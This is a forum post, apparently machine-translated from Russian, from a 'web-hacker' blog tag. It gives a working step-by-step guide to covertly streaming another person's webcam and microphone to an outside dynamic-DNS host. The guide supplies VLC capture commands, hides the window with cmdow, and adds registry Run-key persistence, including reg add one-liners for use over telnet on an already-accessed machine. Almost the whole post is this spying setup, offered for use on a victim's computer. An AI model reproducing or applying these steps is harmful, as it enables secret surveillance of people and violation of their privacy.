Peeping through a web camera.

in #web-hacker8 years ago

Hello, in this article I want to talk about how you can configure the broadcast video / audio from your webcam. Where and how to use it is up to you (for example, you can paste on the site), it seems very interesting to me sometimes to see what was happening in the room where there is our grandfather to which we already have access :)
1. Put the VLC and create a * .bat file to run video and audio capture
And so for the beginning set the vlc player: http://videolan.org/vlc/ After that, we need to create a * .bat file (call it start_vlc.bat) and which will run vlc, we put it in c: \ windows \ system32 command to start the video / audio capture will look like this:
Code:
"C:\Program Files\VideoLAN\VLC\vlc.exe" -vvv --no-qt-notification --qt-start-minimized dshow://:dshow-vdev="твоя вебка" :dshow-adev="твой микрофон" :dshow-caching="200" :sout=#transcode{hq:,vcodec=h264,height=320,width=240,vb=800,scale=1,acodec=mpga,ab=128,channels=2,samplerate=44100}:std{access=http,mux=ts,dst=твой dyndns адрес:8080} --volume 100
Example for Unix (Linux Debian 2.6.32-5-686, VLC 1.1.3)
Code:
cvlc -vvv v4l2:// :input-slave=alsa://plughw:1,0 :v4l2-standard=0 :file-caching=100 :sout='#transcode{hq:,vcodec=WMV2,vb=0,scale=0,acodec=mp4a,ab=128,channels=2,samplerate=44100}:http{mux=ts,dst=IP:PORT}' :no-sout-rtp-sap :no-sout-standard-sap :sout-keep
Where parameter dshow-vdev = "" enter the name of your web camera and a video capture will be (you can see Start-> Control Panel-> System-> dispatcher devices-> imaging device below to see your webcam, I think 99% of people it is one) in parameter dshow-adev = "" Specify the name of our microphone, you can see (Start-> Control Panel-> sounds and audioustroystva-> audio> sound recording) also, we need to take care of the launch was hidden from the user, for these goals using utilitku cmdow commandline.co.uk/cmdow download it and we put next to our file start_vlc.bat title of our file write cmdow @ / HID, also should consider the closure of all the processes named vlc, for this we add our file tskill / A vlc command, as a result of our file becomes:
cmdow @ /HID \n
tskill /A vlc
Code:
"C:\Program Files\VideoLAN\VLC\vlc.exe" -vvv --no-qt-notification --qt-start-minimized dshow://:dshow-vdev="твоя вебка" :dshow-adev="твой микрофон" :dshow-caching="200" :sout=#transcode{hq:,vcodec=h264,height=320,width=240,vb=800,scale=1,acodec=mpga,ab=128,channels=2,samplerate=44100}:std{access=http,mux=ts,dst=testerlg.strangled.net:8080} --volume 100
2. Registration on DynDns hosting and client installation DynDns
Then we move on to the time we are going to get access to our cell? I think that the majority of users on the internet do not have a static external ip address (if you have then just skip this step), get out of this position will help us dyndns http://ru.wikipedia.org/wiki/DynDNS this technology for checking in online http://freedns.afraid.org/signup/ (use this hosting as dyndns.com was paid) after entering your data you must create a record of the form: In the type field, select "A" (it is already selected by default) In the Subdomain field, type your domain name (for example homemax) In the domain field, select the domain you are interested in (most likely mooo.com as it is the shortest, but I chose a different :)) In the Destination field, enter the ip your appearance, it can be found for example simply typing in ya.ru "my ip" then click the button SAVE.
Next we need to install the dyndns client which actually responds to update our external ip address and dynamically update this information on a hosting. I use this one client http://www.techknowpro.com/freedns after its installation, in the Settings tab enter our username and password (as well as on the site, add a rule in the anti-virus / firewalls if necessary).
3. Automatic start and our DynDns * bat file when the computer boots
Next, you need to take care that would boot the OS, our * .bat files are executed automatically, for it using regedit (Start-> Run-> regedit) add the following entry in the registry.
Code:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Code:
Name: vlc, Record Type: REG_SZ, Value: C: \ WINDOWS \ system32 \ start_vlc.bat
And we Do the same thing for our client DDNS.
Code:
Name: dyndns, Record Type: REG_SZ, Value: C: \ WINDOWS \ cmdow.exe / run / hid "C: \ Program Files \ FreeDNS Update \ FreeDNSUpdate.exe"
4. Automatic connection Ineta you turn on or restart your computer
We need to think how to make the Internet to connect automatically when you turn on the computer, I use vpn connection, vpn connection settings in the "Settings" remove the check mark from the items "shows the progress of connection" and "Prompt for user name, password, itd certificate" and simply we put our connection to the folder "Startup" in my windows XP (under the administrator), this method works. Now restart your computer and test (to test run at vlc and try to connect to itself
"Media-> Open URL")
If that does not work to watch the output of:
Code:
netstat -a -n -b
I have on my hardware is much guzzles resources, if desired, at least as it reduce the consumption of resources advise to choose the codecs (audio / video)
a list of supported codecs: http://wiki.videolan.org/Codec
These codecs I used min. system resources:
Code:
audio codec:
mpga MPEG audio recommended for portability)
video codec:
mp1v MPEG-1 Video - recommended for portability
In the example I specifically chose the H263 codec and option: hq I was just interested in good quality, I think very few people even have a computer dinosaur like me :)

Most likely the new I do not write just a little remind nothing if you have access only via telnet do not worry and remember the edit command and about echo and reg.

Example c edit:
Code:
edit C:\windows\start_vlc.bat
An example of adding in startup using reg:
Code:
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v vlc /t REG_SZ /d C:\Windows\start_vlc.bat /f

Sort:  

man your writing style hurt my eyes

Coin Marketplace

STEEM 0.26
TRX 0.25
JST 0.039
BTC 94802.39
ETH 3313.10
USDT 1.00
SBD 3.32